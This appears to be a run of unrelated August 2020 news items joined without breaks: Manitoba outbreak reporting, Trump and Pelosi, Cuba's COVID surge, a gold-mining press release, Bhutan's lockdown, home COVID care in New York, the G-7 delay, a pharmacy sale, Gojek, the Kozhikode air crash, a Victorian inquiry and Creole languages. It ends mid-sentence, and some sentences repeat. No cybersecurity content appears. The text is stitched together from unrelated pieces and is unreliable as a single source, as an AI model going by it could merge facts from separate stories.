Hutterite leaders threatened to file a complaint with the Manitoba Human Rights Commission, alleging that identifying their communities amounted to "cultural and religious profiling." The fear that the Hutterites have about being stigmatized is not evidence of their shortcoming; it is proof of the flaw in human nature that makes us quick to judge and condemn a group of people who need our compassion and understanding. The real question raised by the Brandon outbreak is how a similar cluster has not been triggered in Winnipeg, where news stories have documented regular, wanton disregard for social distancing on bar patios and nightclubs? Our collective ignorance ultimately denies us the information we need to effectively fight clusters. If anyone deserves to be judged, it is the Manitobans who throw pandemic caution to the wind to drain pints on a patio, not the Manitobans who gathered for community picnics unaware of the threat in their midst. Our collective ignorance ultimately denies us the information we need to effectively fight clusters. More information -- not less -- is a key to an effective pandemic response. We need to know where the greatest threats lie. Manitoba's public health officials do provide us with some of that, but they regularly deny us the kinds of information regularly shared in other jurisdictions. Dan Lett | Not for Attribution A weekly look at politics close to home and around the world that is sent every Tuesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. An information vacuum is also fertile ground for rumour and innuendo, the most destructive channels for stigmatization. Rationing information can be, in some instances, just as destructive as sharing. Advocates for migrant workers used the Alberta and Ontario cluster stories as springboards to lobby for better working and living conditions. If that information had been withheld, the broader public would have continued to be ignorant about their plight. An information vacuum is also fertile ground for rumour and innuendo, the most destructive channels for stigmatization. The threat of stigmatization could be easily balanced by detailed information about who is most affected by an outbreak and how they are responding. Without confirmation, people are left to their own, often destructive, conclusions. Roussin and Friesen have talked about introducing a new reporting regime that allows more information to be shared about exactly where outbreaks are taking place. That new regime must strike a better balance between protecting individuals and communities from judgment, and providing the public with more and better information. To date, the Tory government has erred on the side of less information and maybe for some very good reasons. Still, it's not clear that less information has left us all better off. dan.lett@freepress.mb.ca President Donald Trump and Speaker Nancy Pelosi have not spoken in nearly 10 months, even as the US remains in the throes of one of the greatest health and economic crises in modern history and as talks towards a deal on another massive aid package have stalled. The two most powerful leaders of their respective political parties last spoke at a 16 October 2019 meeting at the White House, CNN reported, where Mr Trump called Ms Pelosi a "third-grade politician." The speaker fired back that all roads with [Trump] lead to Putin, referring to the Russian President Vladimir Putin, before abruptly gathering her things and leaving the meeting. Since then, Ms Pelosi's House Democratic caucus has impeached Mr Trump for abusing his power in foreign policy with Ukraine for political gain; the two leaders have snubbed each other at the president's State of the Union address in February, with the speaker ripping up her copy of his speech; and the coronavirus pandemic has killed 163,000 Americans and sent the US economy into a tailspin, upending the typical presidential election cycle in the process. Ms Pelosi has negotiated with Treasury Secretary Steven Mnuchin as a presidential go-between during previous discussions on Covid-19 legislation, which have injected more than $2.7trn into the economy and US health care system. Talks have stalled on a fifth package, with Democrats asking for north of $4trn in aid but Republicans hesitant to spend much more than $1trn. Mr Trump appeared to taunt Ms Pelosi (and Senate Minority Leader Chuck Schumer) over the lagging negotiations, tweeting on Monday, "They know my phone number!" Mr Trump, a former reality television star, has a history of drumming up personal antipathy with his professional and political rivals. And while Congress can be bitterly partisan at times, the two parties have historically come together during times of crisis and maintained a measure of collegiality for when the moment calls. That ability to put aside differences is apparently absent in the relationship between Mr Trump and Ms Pelosi. "This president is the biggest failure in our history," the speaker told the New York Times last week. "I can't think of anybody worse," she said. He, meanwhile, has called her "Crazy Nancy," a nickname for the speaker he deployed last year. While Cuba has been hailed as a rare success story in Latin America for its textbook handling of the coronavirus outbreak, with just under 3,000 cases and 88 reported fatalities, the island nation on Monday saw a record surge in new cases. Cuba reported 93 new coronavirus cases on Monday as a surge of the disease in Havana threatened to stall the re-opening of the country after a partial lockdown began in March. Most of the cases were in Havana, where a partial lockdown was re-imposed on Monday. The area has been isolated from the rest of the country where with but a few exceptions no new cases have been reported in more than two months. Healthcare worker Juan Estevez is among those working to slow the spread by identifying people with symptoms at checkpoints. "We're controlling the spread of the virus and trying to reduce the number cases....Healthcare workers are taking people's temperatures at checkpoints and asking them where they're going. If they have any symptoms; we conduct an interview." At one of those checkpoints, Havana Resident Florentino Batista was turned around by officers, who said he couldn't proceed without documentation showing he's negative. "I had to go to the clinic to have the rapid test done and bring them the document that confirms that the test came back negative." In Havana, restaurants, bars and pools are once more closed, public transportation suspended and access to the beach banned, with the hope that the hardline approach and stopping the spread will continue to make the country a beacon of hope, rather than a cautionary tale. Vancouver, British Columbia--(Newsfile Corp. - August 11, 2020) - Bravada Gold Corporation (TSXV: BVA) (FSE: BRTN) (OTCQB: BGAVF) (the "Company" or "Bravada") has purchased, subject to TSXV Exchange approval, 37 mining claims adjacent to Bravada's SF property, expanding the project to 103 claims (approximately 800 hectares). SF is a Carlin-type gold property located along the Battle Mountain-Eureka Gold trend, ~6 kilometers east of Barrick's Goldrush development-stage gold mine in the prolific Cortez district. The Company is acquiring 100% interest in the claims from a private company for 350,000 common shares and a retained 2% NSR, of which one half (1% NSR) can be purchased for US$1million. Bravada completed two proof-of-concept R.C. holes (878m total) in 2019 on the Company's claims close to the boundary with the acquired claims. Bravada's holes intersected anomalous gold and base-metals within the Horse Canyon and Wenban formations (see Figure 1), which are repeated in the holes due to a sequence of stacked thrust sheets. The two holes successfully verified favorable host rocks and structure, as well as a gold-bearing hydrothermal system. These geologic features are similar to those at Goldrush and extend onto the newly acquired claims based on surface mapping, alteration, geochemistry, and numerous, narrow gold intercepts of +0.1 ppm (Maximum 0.664 ppm Au) in hole HC04-1. The property acquisition includes an extensive database that will be combined with Bravada's existing database to guide next-stage work at the expanded SF Project. President Joe Kizis commented, "SF is in one of the most exciting gold-discovery regions in Nevada, as demonstrated by exceptional results at Goldrush and its apparent northerly extension, Red Hill. Bravada believes that SF is in a similar geological setting to Barrick's impressively large and rich gold deposits. We believe follow-up work is justified at SF, and the expanded claim position provides us with more flexibility in tracing the "smoke" that we intersected in our 2019 drill holes." Story continues Figure 1: SF Interpreted Cross Section Geology. To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/5343/61491_0ea7f808b40fa966_001full.jpg In other project news, Bravada expects drilling to begin at the Highland project around August 15th and at the Wind Mountain project late fall or early winter 2020. Field work was recently conducted on two target areas at Highland, located 2.5km apart, and the Big Hammer target will be tested with an initial two core holes. Additional field work is planned for the Geyser target in preparation for drilling in 2021. A permit for 12 sites has been approved and bonded to allow drilling at both targets. A fence of 3 or 4 reverse-circulate drill holes is planned across the Feeder target at Wind Mountain after 3D modeling and modifications to the existing permit have been completed. Previous drilling, mapping, geochemical sampling, and magnetic geophysics all point to a defined area as the "feeder" source of the large amount of disseminated mineralization, which includes previous production and current resources. This program will be an initial test of the refined Feeder target. About Bravada Bravada is an exploration company with a portfolio of high-quality properties in Nevada, one of the best mining jurisdictions in the world. Bravada has successfully identified and advanced properties with the potential to host high-margin deposits while successfully attracting partners to fund later stages of project development. Three of Bravada's ten Nevada properties are being funded by partners. Bravada's value is underpinned by a substantial gold and silver resource with a positive PEA at Wind Mountain, and the Company has significant upside potential from possible new discoveries at its exploration properties. Since 2005, the Company signed 32 earn-in joint-venture agreements for its properties with 19 publicly traded companies, as well as a similar number of property-acquisition agreements with private individuals. Bravada currently has 10 projects in its portfolio, consisting of 764 claims for approximately 6,100 ha in two of Nevada's most prolific gold trends. Most of the projects host encouraging drill intercepts of gold and already have drill targets developed. Several videos are available on the Company's website that describe Bravada's major properties, answering commonly asked investor questions. Simply click on this link http://www.bravadagold.com/en/management-videos.php. Joseph Anthony Kizis, Jr. (AIPG CPG-11513, Wyoming PG-2576) is the qualified person responsible for reviewing and preparing the technical data presented in this release and has approved its disclosure. -30- On behalf of the Board of Directors of Bravada Gold Corporation "Joseph A. Kizis, Jr." Joseph A. Kizis, Jr., Director, President, Bravada Gold Corporation For further information, please visit Bravada Gold Corporation's website at bravadagold.com or contact the Company at 604.684.9384 or 775.746.3780. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements including but not limited to comments regarding the timing and content of upcoming work programs, geological interpretations, receipt of property titles, potential mineral recovery processes, etc. Forward-looking statements address future events and conditions and therefore involve inherent risks and uncertainties. Actual results may differ materially from those currently anticipated in such statements. These statements are based on a number of assumptions, including, but not limited to, assumptions regarding general economic conditions, interest rates, commodity markets, regulatory and governmental approvals for the company's projects, and the availability of financing for the company's development projects on reasonable terms. Factors that could cause actual results to differ materially from those in forward-looking statements include market prices, exploitation and exploration successes, the timing and receipt of government and regulatory approvals, and continued availability of capital and financing and general economic, market or business conditions. Bravada Gold Corporation does not assume any obligation to update or revise its forward-looking statements, whether as a result of new information, future events or otherwise, except to the extent required by applicable law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61491 Minneapolis, MN On May 25, 2020, a 46-year-old Black man named George Floyd was killed during an arrest in Minneapolis. The next day, protests against police violence began in the Twin Cities of Minneapolis and Saint Paul and have since spread to hundreds of cities across the United States and around the globe. In some instances, peaceful protests turned into rioting and looting. According to a Star Tribune article published on June 6, more than 500 shops and restaurants in Minneapolis and Saint Paul have reported protest-related damages. Owners and insurance experts estimate those damages could exceed $500 million. The protests occurred in the backyard of Affinity Plus Federal Credit Union ($2.6B, Saint Paul, MN). For the Twin Cities-based cooperative, the demonstrations underscored two truths. First, it could and should do better on matters of race and equality, inside its walls and out. And, second, it needed to help those affected by the protests. In addition to taking a corporate stand against racial injustice and discrimination, the credit union launched Twin Cities Healing, a fund that coordinates contributions to 10 certified 501(c)3 nonprofits working to address racial injustice, rebuilding efforts, and basic needs. The credit union is distributing $136,000, and members are voting on how to distribute the funds among the approved organizations. To further address these issues, Affinity Plus also created an employee directed fund called Affinity Plus Gives, which made available an additional $200,000 in funding for organizations dedicated to making an impact. In this Q&A, Affinity Plus CEO Dave Larson discusses the current atmosphere in the Twin Cities, his credit unions response in the weeks that followed George Floyds death, lessons learned in leadership, and more. The government in Bhutan has incorporated a strict nationwide lockdown in effect from August 11 after a locally transmitted COVID-19 case was confirmed. While addressing the nation on Tuesday morning, Prime Minister Lotay Tshering was reported to have said that positive case is a female patient from in Gelephu town. The PM added that she had come in close contact with many people in Paro, Thimphu, and many other places. READ: Bhutan Foreign Min Extends 'deepest Condolences' To AI Express Crash Victims In Kozhikode National Situational Update on COVID-19 (data as of 10th August 2020) Highlights: A 27-year-old man from a quarantine facility in Paro who returned from the Middel East, a 44-year-old Indian man in a quarantine https://t.co/zbxvLGGL1H Ministry of Health, Bhutan (@MoHBhutan) August 10, 2020 71 contacts traced Lotay reportedly said that the patient was declared recovered after medication and quarantine process, but has tested positive again after being at home for 15 days. During this time, she travelled to different places and visited relatives, as per reports. The health authorities managed to trace 71 contacts who came in close contact with the patient. The Prime Minister reportedly said that the lockdown has been imposed to contact trace and isolate all positive cases to curb the spread of coronavirus by breaking the chain. Lotay also reaffirmed people not to panic as food and other emergency supplies will be made available at the doorsteps. He hinted that the lockdown might last between five days to a maximum three weeks depending on the situation. READ: Incursion Into India & Claim In Bhutan Indicative Of China's Intentions: US Bhutan's health ministry tweeted, "With the country going under lockdown, we request every Bhutanese and non-nationals residing in Bhutan to please abide by the following lockdown essential information." In another tweet it wrote, "We are now graduating back to normal and the health services too shall be back on track. Life should not stop during the pandemic. " According to Bhutan's health ministry, the country has a total of 113 positive cases as of Tuesday. Earlier, Indian Prime Minister Narendra Modi Exchanged thoughts with Dr. Lotay Tshering on the evolving COVID-19 situation. PM Modi said India will stand by her close friend and neighbour in fighting the effects of the pandemic. READ: Bhutan Eyes Negotiating End To Its Boundary Disputes With China; Delhi Embassies The Venue READ: Bhutan Issues Demarche To China Over Its Bid To Create Border Dispute Jeanne Jennings (HealthDay)New York City resident Jeanne Jennings was so sick with COVID-19 she couldn't draw a decent breath. "Even going from my bed to the bathroom was such a difficult task, I felt like I was going to pass out," Jennings, 46, said. Jennings wanted to go to the hospital, but this was early May, the height of the Big Apple's COVID-19 crisis, and over the phone her doctor laid out the situation in stark terms. "She said, 'There's no guarantee they would have a place for you because they're reserving hospital space for the more serious patients. If you do stay there, you're going to be isolated from your family. You won't really have the freedom to move around all that much,'" Jennings recalled. Jennings added that the doctor said, "'Would you be open to me treating you via telemedicine?' I said, 'Sure.'" The revival of the doctor's house callor, at least, a modern-day versionis one of many innovations undertaken by doctors and hospital staff struggling to keep up with surges in COVID-19 cases. Jennings' hospital, Northwell Health, immediately sent two nurses to her home, clad head-to-toe in protective gear. One nurse monitored her condition for a few hours, while the other took blood work that would confirm her COVID-19 diagnosis. A pulse oximeter brought by the first nurse revealed that Jennings' blood oxygen levels "were actually turning out to be pretty normal for someone who couldn't breathe so well," she explained. Meanwhile, Jennings' critical care pulmonologist, Dr. Gita Lisker, checked in with her regularly by phone. "Dr. Lisker was very attentive at checking in on me almost every day, and making sure I was feeling better than the last day," Jennings said. "I thought that was a good way for health care workers, and especially doctors, to monitor their patients." 'No place to put patients' Thousands of COVID-19 patients have sought treatment at Northwell Health's network of facilities in New York state, so many that by mid-April the system was swamped, Lisker recalled. "Our hospitals were at 150% capacity," Lisker said. "We were opening tents. We had people in the cafeteria. There literally was no place to put patients." At the same time, many patients who really should have been receiving hospital care were too afraid of coronavirus to come to the emergency room, Lisker added. Paramedics in New York City noted an eightfold to 10-fold increase in dead-on-arrival calls during this time, because people had delayed getting the critical care they needed. "We put all that together and said, 'Well, we have no room for people in the hospital, people don't want to go to the hospital, and maybe some don't need to go to the hospital,'" Lisker recalled. "They need to be evaluated to make sure it's safe for them to stay home, and then they need to be properly and aggressively treated and monitored." On the fly, in about two weeks, Lisker and a team at Northwell Health set up a system by which they would provide at-home care for people sick with COVID-19 who didn't require hospitalization. This home care model worked for many COVID-19 patients who were receiving less-than-intensive caresupplemental oxygen, regular vital sign checks, IV fluids, regular lab work. "Everything that was being done on the floor really could be done in the home," Lisker said. A great option Nurses regularly called, texted or dropped by to check in on patients, monitoring their blood oxygen levels and blood pressure. If either declined precipitously, or if their temperature spiked dramatically, they would be sent to the hospital, Lisker said. At the same time, doctors kept in touch with the patients via phone or video. "In that month of May, we had 200 patients in our program," Lisker said. "No patients that we evaluated were admitted unexpectedly. A few of them did go to the emergency room at some point, but they were not admitted. So, we were doing a very good job of screening the ones that needed to go, but the vast majority didn't need to go to the hospital." This sort of home health care system could be valuable in places like Florida, Arizona and Texas, which now are experiencing the sort of COVID-19 surges that New York City faced last spring, Lisker said. "So many parts of the country right now are heading into where we in New York were in March and April, I think it's a great model to be followed to try to protect hospitals from unnecessary admissions and try to protect patients who should be in the hospital and encourage them to go to the hospital, as well as be able to provide them care at home," Lisker said. "A lot of the country can benefit from what we developed." Jennings said she's nearly back to full health, although she still deals with a lingering shortness of breath. For her part, Jennings thinks she'd rather have been able to go to the hospital and receive constant monitoring, but given the circumstances, home health care made the most sense. "New York hospitals were crowded. I felt like I didn't want to steal a bed from a patient that may have been more sick than I was," Jennings said. "I really do think that for patients like me who are not at the level that they would need a ventilator, telemedicine is a great option." Explore further Follow the latest news on the coronavirus (COVID-19) outbreak More information: The U.S. Centers for Disease Control and Prevention has more about The U.S. Centers for Disease Control and Prevention has more about COVID-19 Copyright 2020 HealthDay. All rights reserved. President Donald Trump on Monday said he was more inclined to host the upcoming summit of the G-7, which his administration had intended to use to rally the worlds richest economies to focus on the threat from China, after the US presidential elections in November. Prime Minister Narendra Modi was to attend at the American leaders invitation. Im much more inclined to do it sometime after the election; we were going to do it in September, the president told reporters at a White House news briefing that he left briefly because of a shooting outside. He returned a few minutes later, saying things were under control. Continuing to talk about the G-7 Summit, Trump said, We could do it through teleconference or we could do it through a meeting, adding that it was only past Sunday that he had suggested to his aides to reschedule the summit to after the election in a better . calmer atmosphere. The presidency of the G7 rotates annually, and Trump is this years chair. President Trump will continue in office if he wins, but even if he were to lose, he will still be around till the inauguration of his successor in January of 2021. Just a few minutes into the start of the briefing, Trump was escorted off the dais in the White House briefing room by the Secret Service, which confirmed a shooting involving one of its agents shortly after the president had returned to resume the briefing. A male subject and a USSS (US Secret Service) officer were both transported to a local hospital, the secret service said in an update, adding, At no time during this incident was the White House complex breached or were any protectees in danger. Trump first spoke of his plans to invite Modi and leaders of Australia, South Korea and Russia to the G-7 summit in May. He had also expressed his desire at the time to include these nations in an expanded group called G-10 or G-11. He had then planned to hold the summit in the week before the UN general assembly meetings around September 15. The US President extended an invitation to Modi to attend the summit in a phone call a week later. He also conveyed his desire to expand the group to India, which was mistaken among some policy circles in India as an invitation to the expanded group, which is call to be taken jointly by the other members. Modi had commended President Trump for his creative and far-sighted approach, acknowledging the fact that such an expanded forum would be in keeping with the emerging realities of the post-COVID world about the offer. And he had gone on to assure Trump of Indias willingness to work with the US and other countries to ensure the success of the proposed Summit. Though not a member of the G-7, India has been at some of its summits at the invitation of host countries. Prime Minister Manmohan Singh had attended the 2005 summit in Gleneagles, the UK (the group was called G-8 back then and included Russia, which was thrown out in 2014 for annexing Crimea), and Prime Minister Modi attended the 2019 summit in Biarritz, France. Im postponing it because I dont feel that as a G7 it properly represents whats going on in the world, Trump had told reporters on Air Force One on the way back from the historic launch of the first manned mission into space by a private company, SpaceX in May. Its a very outdated group of countries. Alyssa Alexandra Farah, head of the presidents team on strategic communications, had told reporters then that the summit was an attempt to bring together our traditional allies to talk about how to deal with the future of China. The Group of Seven, called G-7, is an intergovernmental organisation of some of the worlds largest economies, the United States, the United Kingdom, France, Germany, Italy, Canada and Japan. India is a member of the larger version of the body that is called the G-20. Priceline is set to launch a 40 per cent off sale on all fake tan, skincare and sunscreen lotions, with the discounted prices in place for three days only. The Australian pharmacy will be hosting the markdowns online and in store from Wednesday August 12 until Friday August 14, while stocks last. Popular brands like L'Oreal, Weleda, Alya Skin, Bondi Sands and Garnier will all be included in the sale, with everything from night serums, sleeping masks, moisturisers and self tanning drops available at a discounted rate. Priceline is set to launch a 40 per cent off sale on all fake tan, skincare and sunscreen lotions, with the discounted prices in place for three days only If your skin is in desperate need of some cleansing the Garnier Micellar Cleansing Rose Water will be $8.39 from $13.99 (left) and to top up your moisturiser opt for Neutrogena's Ultra Sheer Face & Body Lotion SPF50 for $10.19 (right) The Olay Regenerist Retinol 24 Night Serum, an anti-ageing product with the chemical niacinamide in it to build the skin's keratin and strength, was $59.99 but will be $29.99 from Wednesday. L'Oreal Paris' Revitalift HA Serum is also heavily reduced from $44.99 to $26.99 and French brand Avene's Hydrance Hydrating Sleeping Masks were $56.99 but will be reduced to $34.20. Weleda Skin Food, which can be used as an all-over moisturising balm, was $24.95 but will be $14.97, while Neutrogena's Ultra Sheer Face & Body Lotion SPF50 will be $10.19 from $16.99. If your skin is in desperate need of some cleansing the Garnier Micellar Cleansing Rose Water will be $8.39 from $13.99, and it can be followed with Alya Skin Pink Perfect Clay Mask which was $49.99 but will be $29.99. Avene's Hydrance Hydrating Sleeping Mask was $56.99 but is reduced to $34.20 (pictured) Fake tan connoisseurs can stock up on Bondi Sands Aero Ultra Dark Self Tanning Foam, which is normally $26.99 but will be $16.99, and Tanologist Face & Body Drops was $19.99 but will be $11.99 Fake tan connoisseurs can stock up on Bondi Sands Aero Ultra Dark Self Tanning Foam, which is normally $26.99 but will be $16.99, and Tanologist Face & Body Drops was $19.99 but will be $11.99. Skin Republic Hyaluronic Acid & Collagen Face Sheet Mask were $7.99 each but are now $4.79, so it's worth stocking up on your luxury care items. Bioderma's Micellar Water, Trilogy Rosehip Oil and La Roche-Posay Toleriane Ultra will also be on sale from Wednesday, but their reduced price is yet to be listed. Victorians who aren't able to visit the physical Priceline stores in lockdown will be able to shop online for their goods. A digital dairy project led by Scotlands Rural College (SRUC) has been awarded 50,000 in seed-corn funding by UK Research and Innovation. The Strength in Places project will produce a detailed application aimed at establishing South-West Scotland and Cumbria as the leading region for advanced and sustainable dairy processing. Richard Dewhurst, Head of Dairy Research Centre in SRUCs South and West Faculty, will lead a consortium of research partners, regional and multi-national dairy-processing companies. The group will develop the Digital Dairy Value-Chain for South-West Scotland and Cumbria project. The government funding, from the UKRIs flagship 236m Strength in Places Fund (SIPF), will help create a more efficient and resilient dairy industry. By using digital twinning, combining digital communications and advanced manufacturing, it will enable the tracing of milk, cheese and other products and provide assurance to retailers, wholesalers and consumers. Professor Wayne Powell, Principal of SRUC, said: We are delighted to join forces to bring about a step change in research and innovation in dairy production and processing. In the long term, this project will bring much-needed jobs and economic activity to this rural area. Strength in Places Fund panel chair, Dame Kate Barker, said of the consortium: It provides evidence of excellent research that meets business need and great potential for collaboration. The consortium comprises three research partners (SRUC; University of Strathclyde; University of the West of Scotland); Dumfries & Galloway Council; regional and multi-national dairy-processing companies (Arla, First Milk, Lactalis Mclelland, Dale Farm); Newton Rigg College and seven enabling technology companies (Afimilk, CENSIS, Lely, Novosound, Seric, BT, Boston Networks). Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, August 11, 2020 11:53 526 6657ac82168da9fa101c8a4066d1212e 1 Business Gojek,micro-and-small-businesses,MSMEs,ride-hailing-application Free Indonesian ride-hailing decacorn Gojek launched a website on Monday to help micro, small and medium enterprises (MSMEs) go online. The website, melajubersamagojek.com, provides advice to business owners on which Gojek applications can help them accelerate their digitizational process. Going digital is not easy if there is only one part of the value chain that is digitalized. That is why we offer end-to-end solutions, Gojek co-CEO Andre Soelistyo said during an online press conference. Gojek offers end-to-end solutions for businesses to go online through efforts such as offering point-of-sales (POS) solutions using the MOKA app, payment solution through Midtrans and GoPay as well as smart keyboard application Selly. Read also: MSMEs expect continued pressure even online: Survey Gojek stated that there were currently 500,000 merchants in its ecosystem, 90 percent of which are MSMEs. It also said 120,000 new merchants had registered in the last four months. Small and medium enterprises (SMEs), which account for more than half of the country's gross domestic product (GDP), have been particularly hard hit by the economic downturn. Falling demand has become a major factor affecting small businesses, with 85 percent of MSMEs seeing declining sales between March and June, a recent study by the Demographic Institute of the University of Indonesia's (UI) Economics and Business School in collaboration with Gojek shows. Forty-four percent of them saw their sales drop by more than half. The study also shows that 94 percent of Gojeks merchant partners had felt the benefits of going digital within the apps ecosystem. Almost half of the MSMEs partnering with Gojeks e-wallet service, GoPay, believe their revenue might return to pre-pandemic levels, while 38 percent are certain. The Cooperatives and Small and Medium Enterprises Ministry noted that as of June, 9.6 million MSMEs were using digital technology to advertise their products. With this trajectory, we are sure we can reach the 10 million digital MSMEs target by year-end, said the ministrys human resource development deputy head Arif Rahman Hakim during the same event. Meanwhile, Finance Ministry expert staff member for tax supervision Nufransa Wira Sakti urged small business players to register themselves for the MSMEs corporate income tax cut. Read also: Government to provide cash transfers, working capital loans for 12 million MSMEs He reported that only 9 percent, or around 200,000 out of 2.3 million, MSME tax subjects had asked for the tax cut. I also urge people to buy MSMEs products so that our economy can run again, he said during the event, adding that people tended to save their money during the pandemic to prepare for uncertainties. However, the more you save, the less money there is for consumption and this can lead to economic stagnation, Nufransa added. Indonesias gross domestic product (GDP) shrunk 5.32 percent year-on-year (yoy) in the second quarter, the steepest decline since the first quarter of 1999, as household spending, which accounts for more than half of the GDP, fell 5.51 percent yoy in the period. (eyc) New Delhi: The DGCA has barred the operation of wide-body aircraft at Kozhikode airport this monsoon "out of abundant caution", a senior official said, adding that the aviation regulator will conduct a special audit of airports that receive heavy rains. The decision was taken four days after a narrow-body B737 aircraft of Air India Express with 190 people on board overshot the runway and crashed at the Kozhikode airport amid the downpour. Asked about the duration of the ban, the DGCA official said, "No date has been fixed. We will wait for the monsoon to get over and as a means of abundant caution we are doing it." Wide-body aircraft like B747 and A350 have a bigger fuel tank and can, therefore, travel longer distances in comparison to narrow-body aircraft like B737 and A320. A wide-body aircraft also needs a longer runway length to take off or land. The tabletop runway 10 of the Kozhikode airport is approximately 2,700 metres long. Wide-body aircraft operations were permitted at this airport from 2019. The senior official of the Directorate General of Civil Aviation (DGCA) said, "The special audit will be done at airports like Mumbai and Chennai that are affected by heavy rains annually." The Airports Authority of India (AAI) manages more than 100 airports in the country, including the one in Kozhikode. However, major airports like Delhi, Mumbai, Bengaluru and Hyderabad are managed by private companies. The Air India Express flight from Dubai overshot the tabletop runway on Friday night, fell into a valley 35 feet below and broke into pieces, killing 18 people, including both the pilots. The airline on Tuesday said 74 passengers injured in the plane crash in Kozhikode have been discharged from hospitals after "obtaining complete fitness". A day after the crash, Congress MP Manickam Tagore had tweeted that the AAI and the DGCA "seem to have ignored" the proposal for using Engineered Material Arrestor System (EMAS) technology to ensure the safety of Kozhikode airport's tabletop runway. The AAI works under the Civil Aviation Ministry. The EMAS is a unique surface of special materials that is built at the end of the runway to stop the aircraft in its tracks if it has overshot the area while landing. Civil Aviation Minister Hardeep Singh Puri said on Monday that the Kozhikode airport is equipped with Runway End Safety Area (RESA) as per the safety guidelines of the International Civil Aviation Organization (ICAO). He said the provision of EMAS is not mandatory in a civil airport as per the ICAO guidelines. Puri said EMAS provides safety benefits if standard RESA length is not available at the airport or if RESA cannot be provided at the airport due to some constraints. "Provision of EMAS at Mangalore and Kozhikode were examined by AAI in consultation with DGCA, subsequent to the Air India Express accident at Mangalore in 2010. Tabletop runways at both these airports are accordingly provided with RESA of 240 metres and 90 metres in compliance to DGCA directive," Puri said. Daniel Andrews today clashed with a fired-up journalist who forced him to admit that Victoria's contract tracing regime 'will never be perfect'. The premier was asked by a reporter why a woman who tested positive for coronavirus and had been isolating since 30 July has still not heard from contact tracers 12 days later. Mr Andrews said he would be 'happy to follow up' on that case and insisted that ADF troops and officials were 'literally going to door to door' but 'it is a very, very big task'. Unsatisfied with the answer, the journalist accused the premier of failing to improve the tracing regime despite weeks of problems. 'We've been asking these exact same questions for weeks, and we keep getting told by yourself and [chief health officer] Brett Sutton that everything is OK and we're all meeting our targets,' she said. Mr Andrews said the 'data shows' the state is meeting its contact tracing targets but then admitted that some failures were inevitable. 'I'm never going to stand here and say that every single person that should have got that phone call, got that phone call. 'When you're dealing with this many people, this task... will never be completely perfect. 'There'll always be some error. This is humans talking to other humans. It is a massive task.' Contact tracing is the process of interviewing infected people to find out who they have come into contact with while infectious. Close contacts are then told to isolate in case they also have the disease. Victoria's tracing regime has faced criticism since July amid claims officials have been too slow to interview patients. Under pressure: Daniel Andrews answers question during the Zoom inquiry The clash came after Mr Andrews was accused of 'catastrophically' letting down Victorians after coronavirus escaped from hotel quarantine and sparked the state's deadly second wave. In an inquiry hearing on Tuesday morning, shortly after the state updated its COVID-19 casualties with 19 deaths and 331 cases, the Premier repeatedly refused to apologise for the disaster. Liberal MP Richard Riordan told Mr Andrews: 'Victorians have trusted you to keep them safe. You have catastrophically let them down. Will you apologise to Victorians?' Mr Andrews tersely replied: 'I'm the leader of the government and the leader of the state and I take responsibility for all of the decisions that are made'. A fired-up Mr Riordan continued to press, saying: 'Premier, after a month of acknowledged failure in hotel quarantine, nothing has been seen to by you no admissions by you have been made.' Mr Andrews said his 'analysis is completely inaccurate' and insisted he had set up 'an appropriate arms-length process chaired by a former judge, not for the avoidance of scrutiny.' The premier continued describing the inquiry but Mr Riordan cut him off, saying: 'I don't want you to continue on that because you're not answering the question.' Mr Riordan again asked: 'Will you apologise for the escape?' and the premier again dodged the question. Later in the virtual hearing via Zoom, the premier was asked by Nationals member Danny O'Brien if he regrets 'the decision to employ private security guards in hotel quarantine'. He replied: 'No-one wanted a second wave of the virus. But none of us have the luxury of going back in time.' This image taken outside one of Melbourne's quarantine hotels appears to support the accounts of dozens of workers and returned travellers who say private security guards failed to take the quarantine operation seriously Staff inside a hotel in Melbourne are seen moving luggage for guests in quarantine on June 25 Mr O'Brien asked the Premier whose idea it was to man hotel quarantine with private security guards instead of the police and army troops. Mr Andrews said Australian Defence Force support was not on offer and troops were only used in NSW to transport travellers from airports to hotels. 'It is fundamentally incorrect to assert that there was hundreds of ADF staff on offer and somehow someone said no. That's not, in my judgement, accurate,' he said. 'It's been provided in limited circumstances in NSW, not to provide security as such but to provide transportation from the airport to hotels.' He said the Victorian government had already been using private security guards for quarantining health workers and vulnerable people before the quarantine program for returned travellers began. 'It was essentially an extension of a program that we had already stood up. Nothing more, nothing less,' he said. Mr Andrews was the first witness called at the second sitting of the Victorian Public Accounts and Estimates Committee's COVID-19 Inquiry on Tuesday. He last appeared at the hearing on May 12, when the state's total number of coronavirus cases was 1,509 and just 18 people had died. Victoria's Chief Health Officer Brett Sutton has said it is conceivable that all Victoria's second-wave cases arose from security employed at hotels unwittingly carrying the virus out of quarantine. Languages are complex things that, despite their rules and seemingly fixed-in-place nature, are actually much more flexible than they initially appear. Languages from all corners of the world are constantly evolving and changing, adapting new terms, new linguistic structures, and new methods of communication at a constant pace, at least when compared to other societal institutions. What are Creole languages? One of the best examples of how environmental circumstances and situations particular to a certain place and time can affect language is with the Creole languages, which refer to a wide subset of languages rather than any specific one. When populations of people with different languages come together and mingle together for whatever reason, a common, more improvisational, second language called a pidgin can come into being. These pidgin languages are developed as a way for people with no shared language to communicate with one another and often mix together vocabulary and grammatical structures to create a wholly new method of communication. Often these languages branch off of once-dominant colonizing countries, and will, as a result, have a base in languages popular in these countries like English, French, and Portuguese. This common bridge language can become engrained in a culture to the point where it can replace the original language spoken in a settled area. As a result of this replacement, descendants learn what was once an improvised form of speech as their first language. Languages that undergo this process are called Creole languages and are mainly differentiated from their similar pidgin counterparts by the important qualifier that Creole languages feature people who grow up speaking it as their primary and first language. The term Creole comes from the French term Creole and the Spanish Criollo which both mean a person native to an area. There is no overarching theory for how these languages develop, though looking at areas where Creole languages are common points to a trend of their initial creation in colonies where different languages are more likely to mix together. Haitian Creole is a vibrant French-based language, whose speakers are commonly found in Haiti, the US, and Canada. Image credit: Rotorhead 30A Productions/Shutterstock Where do they come from? The colloquial Creole languages are well-known for developing in the 17th and 18th centuries. Typically they arose in colonial European plantation settlements as a result of the interaction between populations with very different languages and were meant as a solution for a state of affairs that made it very difficult to communicate with one another. Creole languages most regularly came out of plantations in colonies located near the coasts of the Atlantic Ocean and the Indian Ocean. There are some notable outliers to this rule, with no 